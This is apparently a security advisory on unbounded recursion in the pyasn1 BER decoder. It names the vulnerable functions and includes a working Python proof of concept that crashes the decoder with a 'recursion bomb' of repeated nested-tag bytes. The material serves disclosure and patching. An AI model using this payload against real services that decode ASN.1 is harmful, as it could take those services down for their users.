Denial of Service in pyasn1 via Unbounded Recursion

Summary

The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

Details

The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations:

1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

2. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, **options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

3. _decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, **options): This method handles decoding when no schema is provided.

In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

PoC

import sys
from pyasn1.codec.ber import decoder

sys.setrecursionlimit(100000)

print("[*] Generating Recursion Bomb Payload...")
depth = 50_000
chunk = b'\x30\x80' 
payload = chunk * depth

print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
print("[*] Triggering Decoder...")

try:
    decoder.decode(payload)
except RecursionError:
    print("[!] Crashed: Recursion Limit Hit")
except MemoryError:
    print("[!] Crashed: Out of Memory")
except Exception as e:
    print(f"[!] Crashed: {e}")

[*] Payload size: 9.77 KB
[*] Triggering Decoder...
[!] Crashed: Recursion Limit Hit